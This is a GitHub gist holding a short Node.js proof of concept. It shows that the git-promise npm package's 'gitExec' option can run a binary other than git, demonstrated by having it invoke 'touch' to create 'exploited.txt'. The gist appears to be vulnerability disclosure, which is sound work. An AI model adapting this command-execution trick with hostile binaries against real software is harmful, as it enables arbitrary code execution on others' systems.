Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 28, 2023 15:16
Show Gist options
  • Save mcoimbra/70b762dfcba270ad32a04bf86028cb2d to your computer and use it in GitHub Desktop.
Save mcoimbra/70b762dfcba270ad32a04bf86028cb2d to your computer and use it in GitHub Desktop.
Package git-promise: it is possible through the argument to execute a binary which is not 'git', with the package README.md focusing only on running git commands.
'use strict'
const pkg = require('git-promise');
const commandOrArgs = 'exploited.txt';
const optionsOrCallback = {
gitExec: 'touch'
};
const callbackMaybe = function() {};
// This will create a local 'exploited.txt'.
pkg(commandOrArgs, optionsOrCallback, callbackMaybe);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment